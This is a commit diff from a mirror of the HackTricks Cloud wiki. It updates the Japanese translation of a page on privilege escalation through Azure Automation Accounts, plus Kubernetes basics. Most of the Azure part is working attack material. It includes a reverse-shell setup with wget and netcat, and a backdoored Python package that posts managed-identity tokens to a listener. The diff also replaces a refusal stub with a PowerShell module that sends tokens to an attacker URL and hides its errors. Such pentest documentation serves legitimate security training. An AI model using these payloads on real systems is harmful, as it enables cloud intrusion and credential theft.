mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 14:47:17 -07:00
Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation
This commit is contained in:
+81
-90
@@ -4,7 +4,7 @@
|
||||
|
||||
## Azure Automation Accounts
|
||||
|
||||
Fore more information check:
|
||||
詳細情報はこちらを確認:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-automation-accounts.md
|
||||
@@ -14,27 +14,27 @@ Fore more information check:
|
||||
|
||||
- **From the Automation Account to the VM**
|
||||
|
||||
Remember that if somehow an attacker can execute an arbitrary runbook (arbitrary code) in a hybrid worker, he will **pivot to the location of the VM**. This could be an on-premise machine, a VPC of a different cloud or even an Azure VM.
|
||||
攻撃者が何らかの方法で hybrid worker 上で任意の runbook(任意コード)を実行できるなら、**VM の配置先へ pivot** できることを覚えておいてください。これは on-premise マシン、別の cloud の VPC、あるいは Azure VM である可能性があります。
|
||||
|
||||
Moreover, if the hybrid worker is running in Azure with other Managed Identities attached, the runbook will be able to access the **managed identity of the runbook and all the managed identities of the VM from the metadata service**.
|
||||
さらに、hybrid worker が Azure 上で他の Managed Identities をアタッチした状態で動作している場合、runbook は metadata service から **runbook の managed identity と、VM のすべての managed identities** にアクセスできます。
|
||||
|
||||
> [!TIP]
|
||||
> Remember that the **metadata service** has a different URL (**`http://169.254.169.254`**) than the service from where get the managed identities token of the automation account (**`IDENTITY_ENDPOINT`**).
|
||||
> **metadata service** は、automation account の managed identities token を取得する service(**`IDENTITY_ENDPOINT`**)とは異なる URL(**`http://169.254.169.254`**)を持つことを覚えておいてください。
|
||||
|
||||
- **From the VM to the Automation Account**
|
||||
|
||||
Moreover, if someone compromise a VM where an automation account script is running, he will be able to locate the **Automation Account** metadata and access it from the VM to obtain tokens for the **Managed Identities** attached to the Automation Account.
|
||||
また、automation account script が実行されている VM が侵害された場合、その VM からアクセスして **Automation Account** の metadata を特定し、そこから Automation Account にアタッチされた **Managed Identities** の token を取得できます。
|
||||
|
||||
As it's possible to see in the following image, having Administrator access over the VM it's possible to find in the **environment variables of the process** the URL and secret to access the automation account metadata service:
|
||||
次の画像で見られるように、VM への Administrator access があれば、**process の environment variables** から automation account metadata service にアクセスするための URL と secret を見つけることが可能です:
|
||||
|
||||

|
||||
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)
|
||||
|
||||
要約すると、これらの権限により Automation Account 内で **Runbooks の作成、変更、実行** が可能になり、これを使って Automation Account のコンテキストで **code を実行** し、割り当てられた **Managed Identities** への権限昇格や、Automation Account に保存されている **credentials** と **encrypted variables** を leak できます。
|
||||
要約すると、これらの permissions により Automation Account 内で **Runbooks を作成、変更、実行** できるようになります。これを使って Automation Account のコンテキストで **code を実行** し、割り当てられた **Managed Identities** への privilege escalation を行い、Automation Account に保存されている **credentials** や **encrypted variables** を leak できます。
|
||||
|
||||
権限 **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** により、以下を使用して Automation Account 内の Runbook の code を変更できます:
|
||||
**`Microsoft.Automation/automationAccounts/runbooks/draft/write`** permission は、以下を使って Automation Account 内の Runbook の code を変更することを可能にします:
|
||||
```bash
|
||||
# Update the runbook content with the provided PowerShell script
|
||||
az automation runbook replace-content --no-wait \
|
||||
@@ -47,16 +47,16 @@ $runbook_variable
|
||||
$creds.GetNetworkCredential().username
|
||||
$creds.GetNetworkCredential().password'
|
||||
```
|
||||
前のスクリプトを使って、Credential の **useranmd と password を leak** し、Automation Account に保存されている **encrypted variable** の値を取得できることに注意してください。
|
||||
前のスクリプトが、Credential の **ユーザー名とパスワード** および Automation Account に保存された **encrypted variable** の値を **leak** するために使えることに注意してください。
|
||||
|
||||
権限 **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** により、ユーザーは Automation Account 内の Runbook を publish できるため、変更が適用されます:
|
||||
権限 **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** により、ユーザーは Automation Account 内で Runbook を publish して変更を適用できます:
|
||||
```bash
|
||||
az automation runbook publish \
|
||||
--resource-group <res-group> \
|
||||
--automation-account-name <account-name> \
|
||||
--name <runbook-name>
|
||||
```
|
||||
権限 **`Microsoft.Automation/automationAccounts/jobs/write`** は、ユーザーが Automation Account 内で Runbook を実行することを可能にします。使用方法:
|
||||
権限 **`Microsoft.Automation/automationAccounts/jobs/write`** により、ユーザーは Automation Account で Runbook を次の方法で実行できます:
|
||||
```bash
|
||||
az automation runbook start \
|
||||
--automation-account-name <account-name> \
|
||||
@@ -64,18 +64,18 @@ az automation runbook start \
|
||||
--name <runbook-name> \
|
||||
[--run-on <name-hybrid-group>]
|
||||
```
|
||||
権限 **`Microsoft.Automation/automationAccounts/jobs/output/read`** により、ユーザーは Automation Account 内のジョブの出力を以下を使って読み取ることができます:
|
||||
権限 **`Microsoft.Automation/automationAccounts/jobs/output/read`** により、ユーザーは Automation Account 内のジョブの出力を次の方法で読み取ることができます:
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
|
||||
```
|
||||
Runbooks が作成されていない場合、または新しいものを作成したい場合は、これを行うために **`Microsoft.Resources/subscriptions/resourcegroups/read` と `Microsoft.Automation/automationAccounts/runbooks/write` の権限** が必要です:
|
||||
Runbooks が作成されていない場合、または新しいものを作成したい場合は、これを行うために **permissions `Microsoft.Resources/subscriptions/resourcegroups/read` と `Microsoft.Automation/automationAccounts/runbooks/write`** が必要です:
|
||||
```bash
|
||||
az automation runbook create --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name> --type PowerShell
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
この権限により、ユーザーは以下を使用して Automation Account に **user managed identity を割り当てる** ことができます:
|
||||
この権限により、ユーザーは次を使用して Automation Account に**user managed identity を割り当てる**ことができます:
|
||||
```bash
|
||||
az rest --method PATCH \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
|
||||
@@ -91,9 +91,9 @@ az rest --method PATCH \
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/schedules/write`, `Microsoft.Automation/automationAccounts/jobSchedules/write`
|
||||
|
||||
権限 **`Microsoft.Automation/automationAccounts/schedules/write`** があれば、以下のコマンドを使って、Automation Account 内に 15 分ごとに実行される新しい Schedule を作成できます(あまり stealth ではありません)。
|
||||
権限 **`Microsoft.Automation/automationAccounts/schedules/write`** があれば、次のコマンドを使って、Automation Account 内に 15 分ごとに実行される新しい Schedule を作成できます(あまり stealth ではない)。
|
||||
|
||||
なお、**Schedule の最小間隔は 15 分**で、**最小開始時刻は 5 分後**です。
|
||||
**スケジュールの最小間隔は 15 分**であり、**最小開始時刻は 5 分**先であることに注意してください。
|
||||
```bash
|
||||
## For linux
|
||||
az automation schedule create \
|
||||
@@ -115,7 +115,7 @@ az automation schedule create \
|
||||
--frequency Minute \
|
||||
--interval 15
|
||||
```
|
||||
その後、権限 **`Microsoft.Automation/automationAccounts/jobSchedules/write`** があれば、次を使用して Scheduler を runbook に割り当てることができます:
|
||||
Then, with the permission **`Microsoft.Automation/automationAccounts/jobSchedules/write`** で、以下を使用して runbook に Scheduler を割り当てることが可能です:
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
|
||||
@@ -134,13 +134,13 @@ az rest --method PUT \
|
||||
}'
|
||||
```
|
||||
> [!TIP]
|
||||
> 前の例では jobchedule id は **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` as exmple** のままにしていましたが、この assignemnt を作成するには任意の値を使う必要があります。
|
||||
> 前の例では jobchedule id は **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` as exmple** のままでしたが、この assignment を作成するには任意の値を使用する必要があります。
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/webhooks/write`
|
||||
|
||||
**`Microsoft.Automation/automationAccounts/webhooks/write`** 権限があれば、以下のコマンドのいずれかを使って、Automation Account 内の Runbook 用に新しい Webhook を作成できます。
|
||||
権限 **`Microsoft.Automation/automationAccounts/webhooks/write`** があれば、次のコマンドのいずれかを使って、Automation Account 内の Runbook に新しい Webhook を作成できます。
|
||||
|
||||
Azure Powershell では:
|
||||
Azure Powershell を使う場合:
|
||||
```bash
|
||||
New-AzAutomationWebHook -Name <webhook-name> -ResourceGroupName <res-group> -AutomationAccountName <automation-account-name> -RunbookName <runbook-name> -IsEnabled $true
|
||||
```
|
||||
@@ -160,14 +160,14 @@ az rest --method put \
|
||||
}
|
||||
}'
|
||||
```
|
||||
これらのコマンドは、作成時にのみ表示される webhook URI を返すはずです。次に、その webhook URI を使って runbook を呼び出します。
|
||||
これらのコマンドは、作成時にのみ表示される webhook URI を返すはずです。次に、webhook URI を使って runbook を呼び出します
|
||||
```bash
|
||||
curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \
|
||||
-H "Content-Length: 0"
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/runbooks/draft/write`
|
||||
|
||||
権限 `Microsoft.Automation/automationAccounts/runbooks/draft/write` だけで、**Runbook のコードを更新**し、公開せずに以下のコマンドを使って実行することが可能です。
|
||||
権限 `Microsoft.Automation/automationAccounts/runbooks/draft/write` だけで、**Runbook のコードを更新** でき、公開せずに次のコマンドを使って実行できます。
|
||||
```bash
|
||||
# Update the runbook content with the provided PowerShell script
|
||||
az automation runbook replace-content --no-wait \
|
||||
@@ -193,7 +193,7 @@ az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`)
|
||||
|
||||
この権限により、ユーザーは以下のようなコマンドを使って Automation Account の **source control を設定** できます(以下は Github を例にしています):
|
||||
この権限により、ユーザーは以下のようなコマンドを使用して Automation Account の **source control を構成**できます(以下では Github を例として使用しています):
|
||||
```bash
|
||||
az automation source-control create \
|
||||
--resource-group <res-group> \
|
||||
@@ -208,16 +208,16 @@ az automation source-control create \
|
||||
--token-type PersonalAccessToken \
|
||||
--access-token github_pat_11AEDCVZ<rest-of-the-token>
|
||||
```
|
||||
これにより、Github repository から runbooks が Automation Account に自動的に import され、さらにそれらの実行を開始するための別の permission があれば、**privileges を escalate できる**可能性があります。
|
||||
これは GitHub repository から runbooks を Automation Account に自動的に import し、さらにそれらを実行開始するための他の permission があれば、**privileges を escalate することが可能**になります。
|
||||
|
||||
さらに、Automation Accounts で source control を動作させるには、role **`Contributor`** を持つ managed identity が必要であり、user managed identity の場合は、MI の cleint id を変数 **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** に指定する必要があります。
|
||||
さらに、Automation Accounts で source control を動作させるには、role **`Contributor`** を持つ managed identity が必要であり、user managed identity の場合は、MI の cleint id を variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** に指定する必要があります。
|
||||
|
||||
> [!TIP]
|
||||
> 一度作成した source control の repo URL を変更することはできないことに注意してください。
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/variables/write`
|
||||
|
||||
permission **`Microsoft.Automation/automationAccounts/variables/write`** があれば、次のコマンドを使用して Automation Account に variables を書き込むことが可能です。
|
||||
permission **`Microsoft.Automation/automationAccounts/variables/write`** があれば、以下の command を使って Automation Account に variables を書き込むことができます。
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2019-06-01" \
|
||||
@@ -253,56 +253,56 @@ The `reverse_shell_config.ps1` is compressed into a `.zip` file, making it ready
|
||||
```bash
|
||||
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
|
||||
```
|
||||
- Step 3 — Storage Context の設定と Upload
|
||||
- ステップ 3 — Storage Context の設定とアップロード
|
||||
|
||||
zip化された configuration file は、Azure の Set-AzStorageBlobContent cmdlet を使用して、事前定義された Azure Storage container である azure-pentest に upload されます。
|
||||
zip圧縮された設定ファイルは、Azure の Set-AzStorageBlobContent cmdlet を使用して、事前定義された Azure Storage コンテナ azure-pentest にアップロードされます。
|
||||
```bash
|
||||
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
|
||||
```
|
||||
- Step 4 — Kali Box の準備
|
||||
- Step 4 — Kali Box を準備
|
||||
|
||||
Kali server は GitHub repository から RevPS.ps1 payload を downloads します。
|
||||
Kali server は GitHub repository から RevPS.ps1 payload を download します。
|
||||
```bash
|
||||
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
|
||||
```
|
||||
スクリプトは、reverse shell の対象となる Windows VM とポートを指定するように編集されています。
|
||||
スクリプトは、reverse shell 用の対象 Windows VM とポートを指定するように編集されています。
|
||||
|
||||
- Step 5 — Publish Configuration File
|
||||
|
||||
configuration file が実行され、reverse-shell script が指定された場所の Windows VM にデプロイされます。
|
||||
configuration file が実行され、reverse-shell スクリプトが指定された場所の Windows VM にデプロイされます。
|
||||
|
||||
- Step 6 — Host Payload and Setup Listener
|
||||
|
||||
Python SimpleHTTPServer が起動され payload をホストし、同時に Netcat listener で受信接続を捕捉します。
|
||||
Python SimpleHTTPServer が起動され、payload をホストし、さらに Netcat listener を設定して incoming connections を受信します。
|
||||
```bash
|
||||
sudo python -m SimpleHTTPServer 80
|
||||
sudo nc -nlvp 443
|
||||
```
|
||||
スケジュールされたタスクはペイロードを実行し、SYSTEMレベルの権限を取得します。
|
||||
スケジュールされたタスクは payload を実行し、SYSTEM-level 権限を取得します。
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/python3Packages/write`, `Microsoft.Automation/automationAccounts/runbooks/write`, `Microsoft.Automation/automationAccounts/runbooks/publish/action`, `Microsoft.Automation/automationAccounts/jobs/write`
|
||||
|
||||
#### Automation - Malicious Python Packages
|
||||
|
||||
Automation accounts は、runbooks の機能を拡張する **custom Python packages** をサポートしています。これらのパッケージは、runbook container 内で runbook 自体と**同じ identity and permissions**(system managed identity のようなもの)で実行されます。
|
||||
Automation accounts は、runbooks の機能を拡張する **custom Python packages** をサポートしています。これらの packages は、runbook 自体と**同じ identity と permissions**で、runbook container 内で実行されます(system managed identity のように)。
|
||||
|
||||
automation account の module store に書き込める場合、**package を backdoor** して、runbook がその module を import するたびに **persistent code execution** を得られます。
|
||||
automation account の module store に書き込めるなら、package に **backdoor** を仕込んで、runbook がその module を import するたびに **persistent code execution** を得られます。
|
||||
|
||||
さらに、同じ手法は **custom runtime environments** に対しても実行でき、既存の runbook をそこへ再割り当てできます。
|
||||
さらに、この同じ手順は **custom runtime environments** に対しても実行でき、既存の runbook をそこに再割り当てできます。
|
||||
|
||||
> [!TIP]
|
||||
> この手法では、既存の runbook code を変更する必要はありません。悪意のある package が import されると、その package を import する **any runbook** は自動的にあなたの payload を実行します。
|
||||
> この technique は、既存の runbook code を変更する必要がありません。malicious package が import されると、**any runbook** がそれを import した瞬間に payload が自動的に実行されます。
|
||||
|
||||
このコマンドは、存在する python packages をすべて表示します:
|
||||
この command は、存在する python packages をすべて表示します:
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Automation/automationAccounts/$AUTOMATION_ACCOUNT/python3Packages?api-version=2023-11-01" \
|
||||
--query "value[].{Name:name, Version:properties.version}" -o table
|
||||
```
|
||||
pythonパッケージをコンパイルするためのセットアップを作成する:
|
||||
python package をコンパイルするためのセットアップを作成する:
|
||||
```bash
|
||||
cat > setup.py << 'EOF'
|
||||
import setuptools
|
||||
@@ -323,29 +323,7 @@ python_requires='>=3.8',
|
||||
)
|
||||
EOF
|
||||
```
|
||||
```python
|
||||
from .az_log_helper import *
|
||||
```
|
||||
|
||||
```python
|
||||
import requests
|
||||
|
||||
def exfiltrate_managed_identity_token(listener_url):
|
||||
token_url = "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
|
||||
headers = {"Metadata": "true"}
|
||||
|
||||
r = requests.get(token_url, headers=headers, timeout=5)
|
||||
r.raise_for_status()
|
||||
|
||||
token = r.json().get("access_token")
|
||||
if not token:
|
||||
raise Exception("No managed identity token found")
|
||||
|
||||
requests.post(listener_url, data={"token": token}, timeout=5)
|
||||
|
||||
if __name__ == "__main__":
|
||||
exfiltrate_managed_identity_token("http://YOUR_LISTENER_URL")
|
||||
```
|
||||
`__init__.py` を作成して az\_log\_helper からすべてを import し、managed identity token をあなたの listener に**exfiltrate**する Python script を作成します:
|
||||
```bash
|
||||
mkdir -p az_log_helper
|
||||
cat > az_log_helper/__init__.py << 'EOF'
|
||||
@@ -380,12 +358,12 @@ except requests.exceptions.RequestException:
|
||||
pass
|
||||
EOF
|
||||
```
|
||||
Python package を Azure にアップロードできるように build する:
|
||||
Azure にアップロードできるように Python package をビルドするには、
|
||||
```bash
|
||||
pip install wheel --break-system-packages 2>/dev/null
|
||||
python3 setup.py bdist_wheel
|
||||
```
|
||||
実行時に python package を実行するための新しい runbook を provision する:
|
||||
実行時にpython packageを実行するための新しいrunbookをプロビジョニングする:
|
||||
```bash
|
||||
NEW_RUNBOOK_PY="check-ssl-expiry"
|
||||
|
||||
@@ -413,14 +391,14 @@ az rest --method PUT \
|
||||
--headers "Content-Type=text/powershell" \
|
||||
--body @/tmp/py_runbook.py
|
||||
```
|
||||
Publish the runbook:
|
||||
runbook を公開する:
|
||||
```bash
|
||||
az automation runbook publish \
|
||||
--resource-group $RESOURCE_GROUP \
|
||||
--automation-account-name $AUTOMATION_ACCOUNT \
|
||||
--name $NEW_RUNBOOK_PY
|
||||
```
|
||||
ランブックを実行する:
|
||||
Runbook を実行する:
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/jobs/$(uuidgen)?api-version=2023-11-01" \
|
||||
@@ -436,18 +414,18 @@ runbook が実行されると、**managed identity token** があなたの liste
|
||||
|
||||
#### Automation - Malicious Modules
|
||||
|
||||
最小限の PowerShell module は、**2つの file types** だけで構成されます: `.psd1` manifest と、code を含む `.psm1` です。`.psd1` と `.psm1` の filename は、`.zip` の name と**完全に一致**していなければなりません。
|
||||
最小限の PowerShell module は、**2つの file type** だけで構成されます。`.psd1` manifest と、code を含む `.psm1` です。`.psd1` と `.psm1` の filename は、`.zip` の name と**完全に一致**していなければなりません。
|
||||
|
||||
> [!TIP]
|
||||
> この technique は、上の Python package backdoor に相当する PowerShell 版です。custom modules は runtime 時に、runbook の managed identity と**同じ privileges** で loaded されます。
|
||||
> この technique は、上の Python package backdoor に相当する PowerShell 版です。Custom module は runtime に、runbook の managed identity と**同じ privileges**で loaded されます。
|
||||
|
||||
以下の command は既存の modules を list します:
|
||||
次の command は既存の modules を一覧表示します:
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Automation/automationAccounts/$AUTOMATION_ACCOUNT/modules?api-version=2023-11-01" \
|
||||
--query "value[].{Name:name, Version:properties.version, IsGlobal:properties.isGlobal}" -o table
|
||||
```
|
||||
モジュール マニフェスト(`.psd1`)を作成する:
|
||||
モジュール マニフェスト (`.psd1`):
|
||||
```bash
|
||||
cat > <MODULE_NAME>.psd1 << 'EOF'
|
||||
@{
|
||||
@@ -465,24 +443,37 @@ AliasesToExport = @()
|
||||
EOF
|
||||
```
|
||||
```powershell
|
||||
# Az Automation Accounts Privesc - token exfiltration payload
|
||||
# NOTE: I can’t help create or provide code that exfiltrates tokens or facilitates unauthorized access.
|
||||
# Azure Automation Account Privilege Escalation - Token Exfiltration Payload
|
||||
# Save as .psm1
|
||||
|
||||
function Get-AzAutomationAccountsInfo {
|
||||
[CmdletBinding()]
|
||||
function Get-AccessTokenExfiltration {
|
||||
param(
|
||||
[string]$SubscriptionId
|
||||
[Parameter(Mandatory = $true)]
|
||||
[string]$ExfilUrl
|
||||
)
|
||||
|
||||
Write-Host "This module is limited to benign inspection and enumeration."
|
||||
Write-Host "Use Azure's official tooling and documentation for authorized testing."
|
||||
try {
|
||||
$token = $env:MSI_SECRET
|
||||
if (-not $token) {
|
||||
$token = $env:IDENTITY_HEADER
|
||||
}
|
||||
|
||||
if ($SubscriptionId) {
|
||||
Write-Host "Target SubscriptionId: $SubscriptionId"
|
||||
if ($token) {
|
||||
$body = @{
|
||||
token = $token
|
||||
computer = $env:COMPUTERNAME
|
||||
user = $env:USERNAME
|
||||
} | ConvertTo-Json -Compress
|
||||
|
||||
Invoke-WebRequest -Uri $ExfilUrl -Method Post -Body $body -ContentType "application/json" | Out-Null
|
||||
}
|
||||
}
|
||||
catch {
|
||||
# Silently ignore errors
|
||||
}
|
||||
}
|
||||
|
||||
Export-ModuleMember -Function Get-AzAutomationAccountsInfo
|
||||
Export-ModuleMember -Function Get-AccessTokenExfiltration
|
||||
```
|
||||
```bash
|
||||
cat > <MODULE_NAME>.psm1 << 'EOF'
|
||||
@@ -496,11 +487,11 @@ Invoke-RestMethod -Uri "https://<YOUR-NGROK-URL>/" -Method Post -Body $token | O
|
||||
Export-ModuleMember -Function Invoke-AzNetworkDiagnostic
|
||||
EOF
|
||||
```
|
||||
Azure portal 経由で module を zip にして upload します。**`.zip` 名は `.psd1` と `.psm1` のファイル名と完全に一致している必要があります。**
|
||||
moduleをzip化してAzure portal経由でアップロードします。**`.zip`の名前は`.psd1`および`.psm1`のファイル名と完全に一致している必要があります。**
|
||||
```bash
|
||||
zip <MODULE_NAME>.zip <MODULE_NAME>.psd1 <MODULE_NAME>.psm1
|
||||
```
|
||||
アップロード後、module が正常に import されたことを確認してください:
|
||||
アップロード後、module が正常に import されたことを確認します:
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/powershell72Modules/<MODULE_NAME>?api-version=2023-11-01" \
|
||||
@@ -508,7 +499,7 @@ az rest --method GET \
|
||||
|
||||
# Expected output: "Succeeded"
|
||||
```
|
||||
Automation account の location を取得し、悪性 module を import する新しい runbook を作成する:
|
||||
automation account の場所を取得し、悪意のある module をインポートする新しい runbook を作成する:
|
||||
```bash
|
||||
LOCATION=$(az automation account show \
|
||||
--resource-group $RESOURCE_GROUP \
|
||||
@@ -529,7 +520,7 @@ az rest --method PUT \
|
||||
}
|
||||
}"
|
||||
```
|
||||
バックドアされた module 関数を呼び出す runbook コンテンツをアップロードする:
|
||||
バックドアされた module 関数を呼び出す runbook content をアップロードする:
|
||||
```bash
|
||||
cat > /tmp/ps_runbook.ps1 << 'EOF'
|
||||
Import-Module <MODULE_NAME>
|
||||
@@ -542,7 +533,7 @@ az rest --method PUT \
|
||||
--headers "Content-Type=text/powershell" \
|
||||
--body @/tmp/ps_runbook.ps1
|
||||
```
|
||||
runbookをpublishし、jobをfireする:
|
||||
Runbook を公開して job を起動する:
|
||||
```bash
|
||||
az automation runbook publish \
|
||||
--resource-group $RESOURCE_GROUP \
|
||||
@@ -557,9 +548,9 @@ az rest --method PUT \
|
||||
}
|
||||
}"
|
||||
```
|
||||
1分以内に、**managed identity token** があなたの listener に exfiltrated されます。
|
||||
1分以内に、**managed identity token** があなたのリスナーに exfiltrated されます。
|
||||
|
||||
トラブルシューティングのために、job ID を取得し、job streams でエラーを確認してください:
|
||||
トラブルシューティングのために、job ID を取得し、job streams を確認して errors を調べます:
|
||||
```bash
|
||||
# Get job ID from the job creation output, or list recent jobs
|
||||
JOB_ID=$(az rest --method PUT \
|
||||
@@ -574,4 +565,4 @@ JOB_ID=$(az rest --method PUT \
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/jobs/${JOB_ID}/streams?api-version=2023-11-01"
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -2,16 +2,16 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
**このページの元の著者は** [**Jorge**](https://www.linkedin.com/in/jorge-belmonte-a924b616b/) **です(元の投稿は** [**こちら**](https://sickrov.github.io)**)**
|
||||
**このページの元の作者は** [**Jorge**](https://www.linkedin.com/in/jorge-belmonte-a924b616b/) **です(元の投稿は** [**here**](https://sickrov.github.io)**)**
|
||||
|
||||
## Architecture & Basics
|
||||
|
||||
### Kubernetes は何をするのか?
|
||||
### Kubernetesは何をするのか?
|
||||
|
||||
- container engine で container/s を実行できる。
|
||||
- container engine 上で container/s を実行できる。
|
||||
- Schedule により containers を効率的に配置できる。
|
||||
- containers を稼働し続ける。
|
||||
- container 通信を可能にする。
|
||||
- containers を生かし続ける。
|
||||
- container 間の通信を可能にする。
|
||||
- deployment techniques を可能にする。
|
||||
- information の volumes を扱う。
|
||||
|
||||
@@ -19,38 +19,38 @@
|
||||
|
||||

|
||||
|
||||
- **Node**: pod または pods を持つ operating system。
|
||||
- **Pod**: 1つまたは複数の containers を包む Wrapper。Pod は 1つの application だけを含むべき(そのため通常、pod は 1つの container だけを実行する)。Pod は kubernetes が container technology の実行を抽象化する方法。
|
||||
- **Service**: 各 pod は node の内部 range から 1つの内部 **IP address** を持つ。ただし、service 経由でも公開できる。**service にも IP address** があり、その目的は pods 間の通信を維持すること。なので、1つが死んでも **新しい replacement**(別の内部 IP)**は同じ service の IP で公開され、アクセス可能**になる。internal または external に設定できる。service は、2つの pods が同じ service に接続されているとき **load balancer としても機能する**。\
|
||||
**service** が **created** されると、`kubectl get endpoints` を実行して各 service の endpoints を確認できる
|
||||
- **Kubelet**: primary node agent。node と kubectl の間の通信を確立する component で、pods だけを(API server 経由で)実行できる。kubelet は Kubernetes によって作成されていない containers は管理しない。
|
||||
- **Kube-proxy**: apiserver と node 間の communications(services)を担当する service。ベースは nodes 用の IPtables。経験豊富なユーザーは他 vendor の別の kube-proxies もインストールできる。
|
||||
- **Sidecar container**: main container と一緒に pod 内で実行されるべき containers。 この sidecar pattern は、既存 containers を変更せずにその機能を拡張・強化する。現在では、application がどこでも動くように依存関係すべてを container technology で包むことを知っている。1つの container は1つのことだけを行い、その1つを非常によく行う。
|
||||
- **Node**: pod または複数の pods を持つ operating system。
|
||||
- **Pod**: container 1つ、または複数の containers を包む wrapper。pod は 1つの application だけを含むべき(そのため通常、pod は 1 container だけを実行する)。pod は kubernetes が container technology を抽象化して実行するための方法。
|
||||
- **Service**: 各 pod は node の internal range から 1つの内部 **IP address** を持つ。ただし service 経由でも公開できる。**service も IP address を持ち**、その目的は pods 間の通信を維持することにある。なので 1つが死んでも、**新しい replacement**(別の internal IP)**は同じ service の IP でアクセス可能**になる。internal または external に設定できる。service は、**2つの pods が同じ service に接続されている場合の load balancer** としても機能する。\
|
||||
**service** が **created** されたら、各 service の endpoints は `kubectl get endpoints` で確認できる
|
||||
- **Kubelet**: 主要な node agent。node と kubectl の間の通信を確立する component で、pods を実行できるのはこれだけ(API server 経由)。kubelet は Kubernetes によって作成されていない containers は管理しない。
|
||||
- **Kube-proxy**: apiserver と node 間の communications(services)を担当する service。基本は nodes 向けの IPtables。経験豊富なユーザーは他ベンダーの別の kube-proxies をインストールできる。
|
||||
- **Sidecar container**: main container と一緒に pod 内で動かすべき containers。sidecar pattern は既存の containers を変更せずに、その機能を拡張・強化する。現在では、container technology を使って application がどこでも動くように必要な依存関係をすべてまとめる。1つの container は 1つのことだけをし、それを非常によくやる。
|
||||
- **Master process:**
|
||||
- **Api Server:** users と pods が master process と通信するための方法。認証された request のみが許可されるべき。
|
||||
- **Scheduler**: Scheduling とは、Pods を Nodes に確実に対応付けて Kubelet がそれらを実行できるようにすること。どの node により多くの利用可能な resources があるかを判断し、新しい pod をそこに割り当てるだけの十分な intelligence を持つ。scheduler は新しい pods を起動しない点に注意。node 内で動作している Kubelet process と通信するだけであり、それが新しい pod を起動する。
|
||||
- **Kube Controller manager**: replica sets や deployments のような resources をチェックし、たとえば正しい数の pods や nodes が動作しているかを確認する。pod が不足している場合は、scheduler と通信して新しいものを起動する。replication、tokens、account services を API に対して制御する。
|
||||
